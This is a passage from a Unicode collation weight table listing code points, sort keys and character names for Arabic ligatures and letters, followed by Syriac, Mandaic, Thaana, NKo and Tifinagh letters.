[.231C.0020.0019][.229D.0020.0019][.2318.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH MEEM FINAL FORM +FD99 ; [.231C.0020.0019][.229D.0020.0019][.2339.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH ALEF MAKSURA FINAL FORM +FDC7 ; [.231C.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM +FCD3 ; [.231C.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE NOON WITH HAH INITIAL FORM +FC4C ; [.231C.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE NOON WITH HAH ISOLATED FORM +FD95 ; [.231C.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE NOON WITH HAH WITH MEEM INITIAL FORM +FD96 ; [.231C.0020.0019][.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE NOON WITH HAH WITH ALEF MAKSURA FINAL FORM +FDB3 ; [.231C.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE NOON WITH HAH WITH YEH FINAL FORM +FCD4 ; [.231C.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE NOON WITH KHAH INITIAL FORM +FC4D ; [.231C.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE NOON WITH KHAH ISOLATED FORM +FC8A ; [.231C.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE NOON WITH REH FINAL FORM +FC8B ; [.231C.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE NOON WITH ZAIN FINAL FORM +FCD5 ; [.231C.0020.0017][.2318.0020.0017] # ARABIC LIGATURE NOON WITH MEEM INITIAL FORM +FCEE ; [.231C.0020.0018][.2318.0020.0018] # ARABIC LIGATURE NOON WITH MEEM MEDIAL FORM +FC8C ; [.231C.0020.0019][.2318.0020.0019] # ARABIC LIGATURE NOON WITH MEEM FINAL FORM +FC4E ; [.231C.0020.001A][.2318.0020.001A] # ARABIC LIGATURE NOON WITH MEEM ISOLATED FORM +FD9B ; [.231C.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE NOON WITH MEEM WITH ALEF MAKSURA FINAL FORM +FD9A ; [.231C.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE NOON WITH MEEM WITH YEH FINAL FORM +FC8D ; [.231C.0020.0019][.231C.0020.0019] # ARABIC LIGATURE NOON WITH NOON FINAL FORM +FCD6 ; [.231C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE NOON WITH HEH INITIAL FORM +FCEF ; [.231C.0020.0018][.2325.0020.0018] # ARABIC LIGATURE NOON WITH HEH MEDIAL FORM +FC8E ; [.231C.0020.0019][.2339.0020.0019] # ARABIC LIGATURE NOON WITH ALEF MAKSURA FINAL FORM +FC4F ; [.231C.0020.001A][.2339.0020.001A] # ARABIC LIGATURE NOON WITH ALEF MAKSURA ISOLATED FORM +FC8F ; [.231C.0020.0019][.233A.0020.0019] # ARABIC LIGATURE NOON WITH YEH FINAL FORM +FC50 ; [.231C.0020.001A][.233A.0020.001A] # ARABIC LIGATURE NOON WITH YEH ISOLATED FORM +06BA ; [.231D.0020.0002] # ARABIC LETTER NOON GHUNNA +1EE1D ; [.231D.0020.0005] # ARABIC MATHEMATICAL DOTLESS NOON +1EE5D ; [.231D.0020.0005] # ARABIC MATHEMATICAL TAILED DOTLESS NOON +FB9F ; [.231D.0020.0019] # ARABIC LETTER NOON GHUNNA FINAL FORM +FB9E ; [.231D.0020.001A] # ARABIC LETTER NOON GHUNNA ISOLATED FORM +06BB ; [.231E.0020.0002] # ARABIC LETTER RNOON +FBA2 ; [.231E.0020.0017] # ARABIC LETTER RNOON INITIAL FORM +FBA3 ; [.231E.0020.0018] # ARABIC LETTER RNOON MEDIAL FORM +FBA1 ; [.231E.0020.0019] # ARABIC LETTER RNOON FINAL FORM +FBA0 ; [.231E.0020.001A] # ARABIC LETTER RNOON ISOLATED FORM +06BC ; [.231F.0020.0002] # ARABIC LETTER NOON WITH RING +06BD ; [.2320.0020.0002] # ARABIC LETTER NOON WITH THREE DOTS ABOVE +06B9 ; [.2321.0020.0002] # ARABIC LETTER NOON WITH DOT BELOW +0767 ; [.2322.0020.0002] # ARABIC LETTER NOON WITH TWO DOTS BELOW +0768 ; [.2323.0020.0002] # ARABIC LETTER NOON WITH SMALL TAH +0769 ; [.2324.0020.0002] # ARABIC LETTER NOON WITH SMALL V +0647 ; [.2325.0020.0002] # ARABIC LETTER HEH +1EE24 ; [.2325.0020.0005] # ARABIC MATHEMATICAL INITIAL HEH +1EE64 ; [.2325.0020.0005] # ARABIC MATHEMATICAL STRETCHED HEH +1EE84 ; [.2325.0020.0005] # ARABIC MATHEMATICAL LOOPED HEH +FEEB ; [.2325.0020.0017] # ARABIC LETTER HEH INITIAL FORM +FEEC ; [.2325.0020.0018] # ARABIC LETTER HEH MEDIAL FORM +FEEA ; [.2325.0020.0019] # ARABIC LETTER HEH FINAL FORM +FEE9 ; [.2325.0020.001A] # ARABIC LETTER HEH ISOLATED FORM +FCD9 ; [.2325.0020.0017][.0000.0098.0017] # ARABIC LIGATURE HEH WITH SUPERSCRIPT ALEF INITIAL FORM +FCD7 ; [.2325.0020.0017][.229D.0020.0017] # ARABIC LIGATURE HEH WITH JEEM INITIAL FORM +FC51 ; [.2325.0020.001A][.229D.0020.001A] # ARABIC LIGATURE HEH WITH JEEM ISOLATED FORM +FCD8 ; [.2325.0020.0017][.2318.0020.0017] # ARABIC LIGATURE HEH WITH MEEM INITIAL FORM +FC52 ; [.2325.0020.001A][.2318.0020.001A] # ARABIC LIGATURE HEH WITH MEEM ISOLATED FORM +FD93 ; [.2325.0020.0017][.2318.0020.0017][.229D.0020.0017] # ARABIC LIGATURE HEH WITH MEEM WITH JEEM INITIAL FORM +FD94 ; [.2325.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE HEH WITH MEEM WITH MEEM INITIAL FORM +FC53 ; [.2325.0020.001A][.2339.0020.001A] # ARABIC LIGATURE HEH WITH ALEF MAKSURA ISOLATED FORM +FC54 ; [.2325.0020.001A][.233A.0020.001A] # ARABIC LIGATURE HEH WITH YEH ISOLATED FORM +06BE ; [.2326.0020.0002] # ARABIC LETTER HEH DOACHASHMEE +FBAC ; [.2326.0020.0017] # ARABIC LETTER HEH DOACHASHMEE INITIAL FORM +FBAD ; [.2326.0020.0018] # ARABIC LETTER HEH DOACHASHMEE MEDIAL FORM +FBAB ; [.2326.0020.0019] # ARABIC LETTER HEH DOACHASHMEE FINAL FORM +FBAA ; [.2326.0020.001A] # ARABIC LETTER HEH DOACHASHMEE ISOLATED FORM +06C1 ; [.2327.0020.0002] # ARABIC LETTER HEH GOAL +FBA8 ; [.2327.0020.0017] # ARABIC LETTER HEH GOAL INITIAL FORM +FBA9 ; [.2327.0020.0018] # ARABIC LETTER HEH GOAL MEDIAL FORM +FBA7 ; [.2327.0020.0019] # ARABIC LETTER HEH GOAL FINAL FORM +FBA6 ; [.2327.0020.001A] # ARABIC LETTER HEH GOAL ISOLATED FORM +06C2 ; [.2327.0020.0002][.0000.0083.0002] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE +06C3 ; [.2328.0020.0002] # ARABIC LETTER TEH MARBUTA GOAL +06FF ; [.2329.0020.0002] # ARABIC LETTER HEH WITH INVERTED V +06D5 ; [.232A.0020.0002] # ARABIC LETTER AE +06C0 ; [.232A.0020.0002][.0000.0083.0002] # ARABIC LETTER HEH WITH YEH ABOVE +FBA5 ; [.232A.0020.0019][.0000.0083.0019] # ARABIC LETTER HEH WITH YEH ABOVE FINAL FORM +FBA4 ; [.232A.0020.001A][.0000.0083.001A] # ARABIC LETTER HEH WITH YEH ABOVE ISOLATED FORM +0648 ; [.232B.0020.0002] # ARABIC LETTER WAW +06E5 ; [.232B.0020.0004] # ARABIC SMALL WAW +1EE05 ; [.232B.0020.0005] # ARABIC MATHEMATICAL WAW +1EE85 ; [.232B.0020.0005] # ARABIC MATHEMATICAL LOOPED WAW +1EEA5 ; [.232B.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK WAW +FEEE ; [.232B.0020.0019] # ARABIC LETTER WAW FINAL FORM +FEED ; [.232B.0020.001A] # ARABIC LETTER WAW ISOLATED FORM +0676 ; [.232B.0020.0004][.2278.0020.0004] # ARABIC LETTER HIGH HAMZA WAW +FDF8 ; [.232B.0020.001A][.22D0.0020.001A][.2311.0020.001A][.2318.0020.001A] # ARABIC LIGATURE WASALLAM ISOLATED FORM +06C4 ; [.232C.0020.0002] # ARABIC LETTER WAW WITH RING +06C5 ; [.232D.0020.0002] # ARABIC LETTER KIRGHIZ OE +FBE1 ; [.232D.0020.0019] # ARABIC LETTER KIRGHIZ OE FINAL FORM +FBE0 ; [.232D.0020.001A] # ARABIC LETTER KIRGHIZ OE ISOLATED FORM +06C6 ; [.232E.0020.0002] # ARABIC LETTER OE +FBDA ; [.232E.0020.0019] # ARABIC LETTER OE FINAL FORM +FBD9 ; [.232E.0020.001A] # ARABIC LETTER OE ISOLATED FORM +06C7 ; [.232F.0020.0002] # ARABIC LETTER U +FBD8 ; [.232F.0020.0019] # ARABIC LETTER U FINAL FORM +FBD7 ; [.232F.0020.001A] # ARABIC LETTER U ISOLATED FORM +0677 ; [.232F.0020.0004][.2278.0020.0004] # ARABIC LETTER U WITH HAMZA ABOVE +FBDD ; [.232F.0020.001A][.2278.0020.001A] # ARABIC LETTER U WITH HAMZA ABOVE ISOLATED FORM +06C8 ; [.2330.0020.0002] # ARABIC LETTER YU +FBDC ; [.2330.0020.0019] # ARABIC LETTER YU FINAL FORM +FBDB ; [.2330.0020.001A] # ARABIC LETTER YU ISOLATED FORM +06C9 ; [.2331.0020.0002] # ARABIC LETTER KIRGHIZ YU +FBE3 ; [.2331.0020.0019] # ARABIC LETTER KIRGHIZ YU FINAL FORM +FBE2 ; [.2331.0020.001A] # ARABIC LETTER KIRGHIZ YU ISOLATED FORM +06CA ; [.2332.0020.0002] # ARABIC LETTER WAW WITH TWO DOTS ABOVE +06CB ; [.2333.0020.0002] # ARABIC LETTER VE +FBDF ; [.2333.0020.0019] # ARABIC LETTER VE FINAL FORM +FBDE ; [.2333.0020.001A] # ARABIC LETTER VE ISOLATED FORM +08B1 ; [.2334.0020.0002] # ARABIC LETTER STRAIGHT WAW +06CF ; [.2335.0020.0002] # ARABIC LETTER WAW WITH DOT ABOVE +0778 ; [.2336.0020.0002] # ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE +0779 ; [.2337.0020.0002] # ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE +08AB ; [.2338.0020.0002] # ARABIC LETTER WAW WITH DOT WITHIN +0649 ; [.2339.0020.0002] # ARABIC LETTER ALEF MAKSURA +FBE8 ; [.2339.0020.0017] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM +FBE9 ; [.2339.0020.0018] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM +FEF0 ; [.2339.0020.0019] # ARABIC LETTER ALEF MAKSURA FINAL FORM +FEEF ; [.2339.0020.001A] # ARABIC LETTER ALEF MAKSURA ISOLATED FORM +FC90 ; [.2339.0020.0019][.0000.0098.0019] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM +FC5D ; [.2339.0020.001A][.0000.0098.001A] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM +064A ; [.233A.0020.0002] # ARABIC LETTER YEH +06E6 ; [.233A.0020.0004] # ARABIC SMALL YEH +1EE09 ; [.233A.0020.0005] # ARABIC MATHEMATICAL YEH +1EE29 ; [.233A.0020.0005] # ARABIC MATHEMATICAL INITIAL YEH +1EE49 ; [.233A.0020.0005] # ARABIC MATHEMATICAL TAILED YEH +1EE69 ; [.233A.0020.0005] # ARABIC MATHEMATICAL STRETCHED YEH +1EE89 ; [.233A.0020.0005] # ARABIC MATHEMATICAL LOOPED YEH +1EEA9 ; [.233A.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK YEH +FEF3 ; [.233A.0020.0017] # ARABIC LETTER YEH INITIAL FORM +FEF4 ; [.233A.0020.0018] # ARABIC LETTER YEH MEDIAL FORM +FEF2 ; [.233A.0020.0019] # ARABIC LETTER YEH FINAL FORM +FEF1 ; [.233A.0020.001A] # ARABIC LETTER YEH ISOLATED FORM +0678 ; [.233A.0020.0004][.2278.0020.0004] # ARABIC LETTER HIGH HAMZA YEH +FCDA ; [.233A.0020.0017][.229D.0020.0017] # ARABIC LIGATURE YEH WITH JEEM INITIAL FORM +FC55 ; [.233A.0020.001A][.229D.0020.001A] # ARABIC LIGATURE YEH WITH JEEM ISOLATED FORM +FDAF ; [.233A.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH JEEM WITH YEH FINAL FORM +FCDB ; [.233A.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE YEH WITH HAH INITIAL FORM +FC56 ; [.233A.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE YEH WITH HAH ISOLATED FORM +FDAE ; [.233A.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH HAH WITH YEH FINAL FORM +FCDC ; [.233A.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE YEH WITH KHAH INITIAL FORM +FC57 ; [.233A.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE YEH WITH KHAH ISOLATED FORM +FC91 ; [.233A.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE YEH WITH REH FINAL FORM +FC92 ; [.233A.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE YEH WITH ZAIN FINAL FORM +FCDD ; [.233A.0020.0017][.2318.0020.0017] # ARABIC LIGATURE YEH WITH MEEM INITIAL FORM +FCF0 ; [.233A.0020.0018][.2318.0020.0018] # ARABIC LIGATURE YEH WITH MEEM MEDIAL FORM +FC93 ; [.233A.0020.0019][.2318.0020.0019] # ARABIC LIGATURE YEH WITH MEEM FINAL FORM +FC58 ; [.233A.0020.001A][.2318.0020.001A] # ARABIC LIGATURE YEH WITH MEEM ISOLATED FORM +FD9D ; [.233A.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE YEH WITH MEEM WITH MEEM INITIAL FORM +FD9C ; [.233A.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE YEH WITH MEEM WITH MEEM FINAL FORM +FDB0 ; [.233A.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH MEEM WITH YEH FINAL FORM +FC94 ; [.233A.0020.0019][.231C.0020.0019] # ARABIC LIGATURE YEH WITH NOON FINAL FORM +FCDE ; [.233A.0020.0017][.2325.0020.0017] # ARABIC LIGATURE YEH WITH HEH INITIAL FORM +FCF1 ; [.233A.0020.0018][.2325.0020.0018] # ARABIC LIGATURE YEH WITH HEH MEDIAL FORM +FC95 ; [.233A.0020.0019][.2339.0020.0019] # ARABIC LIGATURE YEH WITH ALEF MAKSURA FINAL FORM +FC59 ; [.233A.0020.001A][.2339.0020.001A] # ARABIC LIGATURE YEH WITH ALEF MAKSURA ISOLATED FORM +FC96 ; [.233A.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH YEH FINAL FORM +FC5A ; [.233A.0020.001A][.233A.0020.001A] # ARABIC LIGATURE YEH WITH YEH ISOLATED FORM +06CC ; [.233B.0020.0002] # ARABIC LETTER FARSI YEH +FBFE ; [.233B.0020.0017] # ARABIC LETTER FARSI YEH INITIAL FORM +FBFF ; [.233B.0020.0018] # ARABIC LETTER FARSI YEH MEDIAL FORM +FBFD ; [.233B.0020.0019] # ARABIC LETTER FARSI YEH FINAL FORM +FBFC ; [.233B.0020.001A] # ARABIC LETTER FARSI YEH ISOLATED FORM +06CD ; [.233C.0020.0002] # ARABIC LETTER YEH WITH TAIL +06CE ; [.233D.0020.0002] # ARABIC LETTER YEH WITH SMALL V +06D0 ; [.233E.0020.0002] # ARABIC LETTER E +FBE6 ; [.233E.0020.0017] # ARABIC LETTER E INITIAL FORM +FBE7 ; [.233E.0020.0018] # ARABIC LETTER E MEDIAL FORM +FBE5 ; [.233E.0020.0019] # ARABIC LETTER E FINAL FORM +FBE4 ; [.233E.0020.001A] # ARABIC LETTER E ISOLATED FORM +06D1 ; [.233F.0020.0002] # ARABIC LETTER YEH WITH THREE DOTS BELOW +063D ; [.2340.0020.0002] # ARABIC LETTER FARSI YEH WITH INVERTED V +063E ; [.2341.0020.0002] # ARABIC LETTER FARSI YEH WITH TWO DOTS ABOVE +063F ; [.2342.0020.0002] # ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE +0620 ; [.2343.0020.0002] # ARABIC LETTER KASHMIRI YEH +0775 ; [.2344.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE +0776 ; [.2345.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE +0777 ; [.2346.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW +06D2 ; [.2347.0020.0002] # ARABIC LETTER YEH BARREE +FBAF ; [.2347.0020.0019] # ARABIC LETTER YEH BARREE FINAL FORM +FBAE ; [.2347.0020.001A] # ARABIC LETTER YEH BARREE ISOLATED FORM +06D3 ; [.2347.0020.0002][.0000.0083.0002] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE +FBB1 ; [.2347.0020.0019][.0000.0083.0019] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM +FBB0 ; [.2347.0020.001A][.0000.0083.001A] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE ISOLATED FORM +077A ; [.2348.0020.0002] # ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE +077B ; [.2349.0020.0002] # ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE +0710 ; [.234A.0020.0002] # SYRIAC LETTER ALAPH +0712 ; [.234B.0020.0002] # SYRIAC LETTER BETH +072D ; [.234B.0020.0004][.0000.010D.0004] # SYRIAC LETTER PERSIAN BHETH +0713 ; [.234C.0020.0002] # SYRIAC LETTER GAMAL +0714 ; [.234C.0020.0004][.0000.010C.0004] # SYRIAC LETTER GAMAL GARSHUNI +072E ; [.234C.0020.0004][.0000.010D.0004] # SYRIAC LETTER PERSIAN GHAMAL +0716 ; [.234D.0020.0002] # SYRIAC LETTER DOTLESS DALATH RISH +0715 ; [.234E.0020.0002] # SYRIAC LETTER DALATH +072F ; [.234E.0020.0004][.0000.010D.0004] # SYRIAC LETTER PERSIAN DHALATH +0717 ; [.234F.0020.0002] # SYRIAC LETTER HE +0718 ; [.2350.0020.0002] # SYRIAC LETTER WAW +0719 ; [.2351.0020.0002] # SYRIAC LETTER ZAIN +074D ; [.2352.0020.0002] # SYRIAC LETTER SOGDIAN ZHAIN +071A ; [.2353.0020.0002] # SYRIAC LETTER HETH +071B ; [.2354.0020.0002] # SYRIAC LETTER TETH +071C ; [.2354.0020.0004][.0000.010C.0004] # SYRIAC LETTER TETH GARSHUNI +071D ; [.2355.0020.0002] # SYRIAC LETTER YUDH +071E ; [.2356.0020.0002] # SYRIAC LETTER YUDH HE +071F ; [.2357.0020.0002] # SYRIAC LETTER KAPH +074E ; [.2358.0020.0002] # SYRIAC LETTER SOGDIAN KHAPH +0720 ; [.2359.0020.0002] # SYRIAC LETTER LAMADH +0721 ; [.235A.0020.0002] # SYRIAC LETTER MIM +0722 ; [.235B.0020.0002] # SYRIAC LETTER NUN +0723 ; [.235C.0020.0002] # SYRIAC LETTER SEMKATH +0724 ; [.235C.0020.0019] # SYRIAC LETTER FINAL SEMKATH +0725 ; [.235D.0020.0002] # SYRIAC LETTER E +0726 ; [.235E.0020.0002] # SYRIAC LETTER PE +0727 ; [.235E.0020.0004][.0000.010C.0004] # SYRIAC LETTER REVERSED PE +074F ; [.235F.0020.0002] # SYRIAC LETTER SOGDIAN FE +0728 ; [.2360.0020.0002] # SYRIAC LETTER SADHE +0729 ; [.2361.0020.0002] # SYRIAC LETTER QAPH +072A ; [.2362.0020.0002] # SYRIAC LETTER RISH +072B ; [.2363.0020.0002] # SYRIAC LETTER SHIN +072C ; [.2364.0020.0002] # SYRIAC LETTER TAW +0840 ; [.2365.0020.0002] # MANDAIC LETTER HALQA +0841 ; [.2366.0020.0002] # MANDAIC LETTER AB +0842 ; [.2367.0020.0002] # MANDAIC LETTER AG +0843 ; [.2368.0020.0002] # MANDAIC LETTER AD +0844 ; [.2369.0020.0002] # MANDAIC LETTER AH +0845 ; [.236A.0020.0002] # MANDAIC LETTER USHENNA +0846 ; [.236B.0020.0002] # MANDAIC LETTER AZ +0847 ; [.236C.0020.0002] # MANDAIC LETTER IT +0848 ; [.236D.0020.0002] # MANDAIC LETTER ATT +0849 ; [.236E.0020.0002] # MANDAIC LETTER AKSA +084A ; [.236F.0020.0002] # MANDAIC LETTER AK +084B ; [.2370.0020.0002] # MANDAIC LETTER AL +084C ; [.2371.0020.0002] # MANDAIC LETTER AM +084D ; [.2372.0020.0002] # MANDAIC LETTER AN +084E ; [.2373.0020.0002] # MANDAIC LETTER AS +084F ; [.2374.0020.0002] # MANDAIC LETTER IN +0850 ; [.2375.0020.0002] # MANDAIC LETTER AP +0851 ; [.2376.0020.0002] # MANDAIC LETTER ASZ +0852 ; [.2377.0020.0002] # MANDAIC LETTER AQ +0853 ; [.2378.0020.0002] # MANDAIC LETTER AR +0854 ; [.2379.0020.0002] # MANDAIC LETTER ASH +0855 ; [.237A.0020.0002] # MANDAIC LETTER AT +0856 ; [.237B.0020.0002] # MANDAIC LETTER DUSHENNA +0857 ; [.237C.0020.0002] # MANDAIC LETTER KAD +0858 ; [.237D.0020.0002] # MANDAIC LETTER AIN +0780 ; [.237E.0020.0002] # THAANA LETTER HAA +0799 ; [.237F.0020.0002] # THAANA LETTER HHAA +079A ; [.2380.0020.0002] # THAANA LETTER KHAA +0781 ; [.2381.0020.0002] # THAANA LETTER SHAVIYANI +0782 ; [.2382.0020.0002] # THAANA LETTER NOONU +0783 ; [.2383.0020.0002] # THAANA LETTER RAA +079C ; [.2384.0020.0002] # THAANA LETTER ZAA +0784 ; [.2385.0020.0002] # THAANA LETTER BAA +0785 ; [.2386.0020.0002] # THAANA LETTER LHAVIYANI +0786 ; [.2387.0020.0002] # THAANA LETTER KAAFU +0787 ; [.2388.0020.0002] # THAANA LETTER ALIFU +07A2 ; [.2389.0020.0002] # THAANA LETTER AINU +07A3 ; [.238A.0020.0002] # THAANA LETTER GHAINU +0788 ; [.238B.0020.0002] # THAANA LETTER VAAVU +07A5 ; [.238C.0020.0002] # THAANA LETTER WAAVU +0789 ; [.238D.0020.0002] # THAANA LETTER MEEMU +078A ; [.238E.0020.0002] # THAANA LETTER FAAFU +078B ; [.238F.0020.0002] # THAANA LETTER DHAALU +079B ; [.2390.0020.0002] # THAANA LETTER THAALU +078C ; [.2391.0020.0002] # THAANA LETTER THAA +0798 ; [.2392.0020.0002] # THAANA LETTER TTAA +07A0 ; [.2393.0020.0002] # THAANA LETTER TO +07A1 ; [.2394.0020.0002] # THAANA LETTER ZO +078D ; [.2395.0020.0002] # THAANA LETTER LAAMU +078E ; [.2396.0020.0002] # THAANA LETTER GAAFU +07A4 ; [.2397.0020.0002] # THAANA LETTER QAAFU +078F ; [.2398.0020.0002] # THAANA LETTER GNAVIYANI +0790 ; [.2399.0020.0002] # THAANA LETTER SEENU +079D ; [.239A.0020.0002] # THAANA LETTER SHEENU +079E ; [.239B.0020.0002] # THAANA LETTER SAADHU +079F ; [.239C.0020.0002] # THAANA LETTER DAADHU +0791 ; [.239D.0020.0002] # THAANA LETTER DAVIYANI +0792 ; [.239E.0020.0002] # THAANA LETTER ZAVIYANI +0793 ; [.239F.0020.0002] # THAANA LETTER TAVIYANI +0794 ; [.23A0.0020.0002] # THAANA LETTER YAA +0795 ; [.23A1.0020.0002] # THAANA LETTER PAVIYANI +0796 ; [.23A2.0020.0002] # THAANA LETTER JAVIYANI +0797 ; [.23A3.0020.0002] # THAANA LETTER CHAVIYANI +07B1 ; [.23A4.0020.0002] # THAANA LETTER NAA +07A6 ; [.23A5.0020.0002] # THAANA ABAFILI +07A7 ; [.23A6.0020.0002] # THAANA AABAAFILI +07A8 ; [.23A7.0020.0002] # THAANA IBIFILI +07A9 ; [.23A8.0020.0002] # THAANA EEBEEFILI +07AA ; [.23A9.0020.0002] # THAANA UBUFILI +07AB ; [.23AA.0020.0002] # THAANA OOBOOFILI +07AC ; [.23AB.0020.0002] # THAANA EBEFILI +07AD ; [.23AC.0020.0002] # THAANA EYBEYFILI +07AE ; [.23AD.0020.0002] # THAANA OBOFILI +07AF ; [.23AE.0020.0002] # THAANA OABOAFILI +07B0 ; [.23AF.0020.0002] # THAANA SUKUN +07CA ; [.23B0.0020.0002] # NKO LETTER A +07CB ; [.23B1.0020.0002] # NKO LETTER EE +07CC ; [.23B2.0020.0002] # NKO LETTER I +07CD ; [.23B3.0020.0002] # NKO LETTER E +07CE ; [.23B4.0020.0002] # NKO LETTER U +07CF ; [.23B5.0020.0002] # NKO LETTER OO +07D0 ; [.23B6.0020.0002] # NKO LETTER O +07D1 ; [.23B7.0020.0002] # NKO LETTER DAGBASINNA +07D2 ; [.23B8.0020.0002] # NKO LETTER N +07D3 ; [.23B9.0020.0002] # NKO LETTER BA +07D4 ; [.23BA.0020.0002] # NKO LETTER PA +07D5 ; [.23BB.0020.0002] # NKO LETTER TA +07D6 ; [.23BC.0020.0002] # NKO LETTER JA +07E8 ; [.23BC.0020.0004][.0000.010B.0004] # NKO LETTER JONA JA +07D7 ; [.23BD.0020.0002] # NKO LETTER CHA +07E9 ; [.23BD.0020.0004][.0000.010B.0004] # NKO LETTER JONA CHA +07D8 ; [.23BE.0020.0002] # NKO LETTER DA +07D9 ; [.23BF.0020.0002] # NKO LETTER RA +07EA ; [.23BF.0020.0004][.0000.010B.0004] # NKO LETTER JONA RA +07DA ; [.23C0.0020.0002] # NKO LETTER RRA +07DB ; [.23C1.0020.0002] # NKO LETTER SA +07DC ; [.23C2.0020.0002] # NKO LETTER GBA +07DD ; [.23C3.0020.0002] # NKO LETTER FA +07DE ; [.23C4.0020.0002] # NKO LETTER KA +07DF ; [.23C5.0020.0002] # NKO LETTER LA +07E0 ; [.23C6.0020.0002] # NKO LETTER NA WOLOSO +07E1 ; [.23C7.0020.0002] # NKO LETTER MA +07E2 ; [.23C8.0020.0002] # NKO LETTER NYA +07E3 ; [.23C9.0020.0002] # NKO LETTER NA +07E4 ; [.23CA.0020.0002] # NKO LETTER HA +07E5 ; [.23CB.0020.0002] # NKO LETTER WA +07E6 ; [.23CC.0020.0002] # NKO LETTER YA +07E7 ; [.23CD.0020.0002] # NKO LETTER NYA WOLOSO +07F4 ; [.23CE.0020.0002] # NKO HIGH TONE APOSTROPHE +07F5 ; [.23CF.0020.0002] # NKO LOW TONE APOSTROPHE +2D30 ; [.23D0.0020.0002] # TIFINAGH LETTER YA +2D31 ; [.23D1.0020.0002] # TIFINAGH LETTER YAB +2D32 ; [.23D2.0020.0002] # TIFINAGH LETTER YABH +2D33 ; [.23D3.0020.0002] # TIFINAGH LETTER YAG +2D34 ; [.23D4.0020.0002] # TIFINAGH LETTER YAGHH +2D35 ; [.23D5.0020.0002] # TIFINAGH LETTER BERBER ACADEMY YAJ +2D36 ; [.23D6.0020.0002] # TIFINAGH LETTER YAJ +2D37 ; [.23D7.0020.0002] # TIFINAGH LETTER YAD +2D38 ; [.23D8.0020.0002] # TIFINAGH LETTER YADH +2D39 ; [.23D9.0020.0002] # TIFINAGH LETTER YADD +2D3A ; [.23DA.0020.0002] # TIFINAGH LETTER YADDH +2D3B ; [.23DB.0020.0002] # TIFINAGH LETTER YEY +2D66 ; [.23DC.0020.0002] # TIFINAGH LETTER YE +2D3C ; [.23DD.0020.0002] # TIFINAGH LETTER YAF +2D3D ; [.23DE.0020.0002] # TIFINAGH LETTER YAK +2D3E ; [.23DF.0020.0002] # TIFINAGH LETTER TUAREG YAK +2D3F ; [.23E0.0020.0002] # TIFINAGH LETTER YAKHH +2D40 ; [.23E1.0020.0002] # TIFINAGH LETTER YAH +2D41 ; [.23E2.0020.0002] # TIFINAGH LETTER BERBER ACADEMY YAH +2D42 ; [.23E3.0020.0002] # TIFINAGH LETTER TUAREG YAH +2D43 ; [.23E4.0020.0002] # TIFINAGH LETTER YAHH +2D44 ; [.23E5.0020.0002] # TIFINAGH LETTER YAA +2D45 ; [.23E6.0020.0002] # TIFINAGH LETTER YAKH +2D46 ; [.23E7.0020.0002] # TIFINAGH LETTER TUAREG YAKH +2D47 ; [.23E8.0020.0002] # TIFINAGH LETTER YAQ +2D48 ; [.23E9.0020.0002] # TIFINAGH LETTER TUAREG YAQ +2D49 ; [.23EA.0020.0002] # TIFINAGH LETTER YI +2D4A ; [.23EB.0020.0002] # TIFINAGH LETTER YAZH +2D4B ; [.23EC.0020.0002] # TIFINAGH LETTER AHAGGAR YAZH +2D4C ; [.23ED.0020.0002] # TIFINAGH LETTER TUAREG YAZH +2D4D ; [.23EE.0020.0002] # TIFINAGH LETTER YAL +2D4E ; [.23EF.0020.0002] # TIFINAGH LETTER YAM +2D4F ; [.23F0.0020.0002] # TIFINAGH LETTER YAN +2D50 ; [.23F1.0020.0002] # TIFINAGH 